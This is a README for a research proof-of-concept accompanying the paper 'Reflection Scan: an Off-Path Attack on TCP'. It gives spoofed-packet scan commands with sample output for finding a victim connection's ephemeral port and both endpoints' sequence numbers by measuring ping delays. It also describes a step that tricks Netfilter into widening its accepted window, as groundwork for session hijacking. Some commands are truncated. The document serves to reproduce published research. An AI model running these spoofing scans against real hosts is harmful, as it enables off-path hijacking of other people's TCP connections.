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This proof of concept was used to obtain experimental results
presented in the 'Reflection Scan: an Off-Path Attack on TCP'. The
code is provided to allow reproduction of the experimental results and
to be a starting point for further experiments in different
setups. The proof of concept is not intended to be fully automatic
'fire and forget' TCP session hijacking tool. Some steps, that from
the attack perspective do not introduce any fundamental difficulties,
are omitted (determining window size, finding SND.NXT after in window
sequence number is found, finding the second end point's SND.NXT).

The user is expected to have a good understanding of the paper.
Command line parameters may need to be tuned to a particular
experimental setup. Preferably, the user should be able to sniff
victim's machine network traffic to make sure TCP layer is receiving
spoofed segments and responds to them in an expected way.

In the examples below Alice is the target of spoofed traffic, Bob is
her peer. The connection uses a server port 5455 and an ephemeral port
11235. Environment variables A and B hold Alice's and Bob's IP
addresses. C holds an IP address of a machine to which ping probes are
sent. Ping probes must share at least one routing queue with segments
reflected by Alice. Preferably, the pinged machine should be as close to
the attacker as possible to reduce duration of the attack (in the
paper, C was a router one hop beyond an edge router connecting Alice
and the attacker to the Internet).


'make' compiles the code (libnet is required).

The tool requires root privileges (to send spoofed IP packets and
frequent ping probes).

Finding an ephemeral port number (Linux with Netfilter and Windows XP).

The most important thing is to determine if, in a given setup, the
attacker can detect traffic spikes caused by the reflection of a sequence
of spoofed segments. The easiest way to do it, is to perform a port
scan of a small range that contains an ephemeral port in use:

./ --alice_host=$A --bob_host=$B --bob_port=5455 \
          --ping_destination=$C --scan_mode='port' --range_start=11230 \
          --range_end=11240 --segment_cnt=30 --pings_per_query=5 \

The command sends 30 spoofed segments to each port in a range [11230,
11240). For each probed port 5 pings are sent to C. In the
'sequential_sweep' mode the tool does not try to determine a correct
ephemeral port, but just prints ping results in a following form:

[scanned port, lost pings, standard deviation, average RTT]
11230 0 0.497 20.347
11231 0 2.893 22.193
11232 0 1.825 21.289
11233 0 0.314 20.359
11234 0 0.622 20.357
11235 4 0.000 21.072        <------- loss ratio spike
11236 0 4.121 23.269
11237 0 4.193 22.668
11238 0 2.913 21.820
11239 0 2.379 22.573

There should be a spike (not necessarily the only one) in loss ratio or
in average RTT when a correct port is scanned. If there is no visible
spike --segment_cnt and/or --pings_per_query can be increased (but the
values, especially pings_per_query, should be kept as small as
possible to reduce the attack duration). If this does not help, the
sniffer should be used to determine that the victim indeed receives
spoofed segments and responds to them only if a correct ephemeral port
is scanned.

Once the result for a single port is visible, the user can determine
how many ports per query can be probed to still generate a visible
./ --alice_host=$A --bob_host=$B --bob_port=5455 \
          --ping_destination=$C --scan_mode='port' --range_start=10200 \
          --range_end=12200 --segment_cnt=30 --pings_per_query=5 \
          --steps_per_query=200 --sequential_sweep

The command scans 200 ports per query, a spike is still visible:
[scanned port range, lost pings, standard deviation, average RTT]
10200-10399 0  0.478 20.414
10400-10599 0  0.339 20.578
10600-10799 0  1.798 22.121
10800-10999 0  1.549 21.444
11000-11199 0  1.402 21.606
11200-11399 2  9.366 32.083       <------- loss ratio spike
11400-11599 0  5.839 25.319
11600-11799 0  1.669 21.327
11800-11999 0  0.343 21.083
12000-12199 0 10.496 35.578

From the performance perspective it does not make sense to scan more than
250 ports per query.

Knowing the parameters that induce a visible spike, the user can try
to automatically find an ephemeral port in the full space of 2^16 ports:
./ --alice_host=$A --bob_host=$B --bob_port=5455 \
          --ping_destination=$C --scan_mode='port' --segment_cnt=30 \
          --pings_per_query=5 --steps_per_query=200

'sequential_sweep' mode is off: the tool repeatedly re-executes
queries for which RTT spike was measured until a single query is
left. When a range of ports is found, the tool searches for a correct
port within the range. At the end, the port is printed to stdout.

Finding the Alice's sequence number (Linux with Netfilter).

It is recommended to first experiment to check that acknowledge number
that lies within 'largest sender window seen' is indeed accepted and
other values are dropped. A command below covers a small range of
[1000000000, 1001000000] acknowledge numbers with values that differ
by 66000 (--range_step parameter).

./ --alice_host=$A  --alice_port=11235 --bob_host=$B \
          --bob_port=5455 --ping_destination=$C --scan_mode='ack' \
          --segment_cnt=30  --pings_per_query=5  --range_start=1000000000 \
          --range_end=1001000000 --range_step=66000 --sequential_sweep

--range_step is for sure not smaller than 66000 (see the paper) and
can be increased if a window used by Bob is larger. As in case of an
ephemeral port searching, an acceptable value should induce a RTT

The paper describes how Netfilter can be fooled to increase the value
of 'maximum sender window seen'. To do it, execute:

./ --alice_host=$A  --alice_port=11235 --bob_host=$B \
          --bob_port=5455 --ping_destination=$C --scan_mode='ack' \
          --segment_cnt=1 --pings_per_query=1 --range_step=66000 \
          --steps_per_query=1000000 --sequential_sweep

Ignore results, the command is not intended to find anything. It
covers the whole space of 2^32 acknowledge numbers with values that
differ by 66000. Spoofed segments have window size set to 0xFFFF, one
of the segments should be accepted by Netfilter and should increase
'maximum sender window seen' to the maximum value allowed by the
scalling factor in use.

Once the window is increased, scanning the full space should be very fast:

./ --alice_host=$A --alice_port=11235 --bob_host=$B \
          --bob_port=5455 --ping_destination=$C --scan_mode='ack' \
          --segment_cnt=30 --pings_per_query=5 --steps_per_query=20 \

--range_step is set to the maximum window allowed by the Bob's window
scaling factor (see the paper). For maximum performance set
steps_per_query to sqrt(2^32/range_step) (this ensures work is equally
divided between an initial range scan and a subsequent sequential

Finding Bob's sequence number (Windows XP or other system that closely
follows RFC 793 processing rules).

Again, it is recommended to first scan a limited range of sequence
numbers that overlaps a window to make sure the changes in RTT are
detectable. A command below covers a small range of [1000000000,
100300000] sequence numbers with values that differ by 65535
(--range_step parameter). For each value two acknowledge numbers that
differ by 2^31 are probed.

./ --alice_host=$A  --alice_port=11235 --bob_host=$B \
          --bob_port=5455 --ping_destination=$C --scan_mode='sqn' \
          --segment_cnt=30  --pings_per_query=5 --range_start=1000000000 \
          --range_end=1000300000 --range_step=65535 --sequential_sweep

[scanned sequence number(ack), lost pings, standard deviation, average RTT]
1000000000(       123) 4  0.000  19.956
1000000000(2147483770) 4  0.000  33.670
1000065535(       123) 4  0.000  20.219
1000065535(2147483770) 0 26.579 101.550
1000131070(       123) 2 18.021 180.806
1000131070(2147483770) 4  0.000  20.552
1000196605(       123) 0  3.152  24.414    <--------- loss ratio/RTT minimum
1000196605(2147483770) 4  0.000  20.029
1000262140(       123) 4  0.000  33.023
1000262140(2147483770) 4  0.000  21.489

--range_step should preferably be equal to the Alice's window size
(it can be smaller, but should not be larger). When in window sequence
number with an acceptable acknowledge number is probed the smallest
average RTT and loss ratio should be measured. If the minimum is not
clearly visible, increase segment_cnt and/or pings_per_query.

To scan the whole space of 2^32 sequence numbers use:

./ --alice_host=$A  --alice_port=11235 --bob_host=$B \
          --bob_port=5455 --ping_destination=$C --scan_mode='sqn' \
          --segment_cnt=30  --pings_per_query=5 --range_step=65535

As explained in the paper, this scan is slow and less reliable than
the scan that looks for a spike. Scanning several values at once
is difficult and not handled by the PoC, so do not try to increase


Proof of concept created for 'Reflection Scan: an Off-Path Attack on TCP'.






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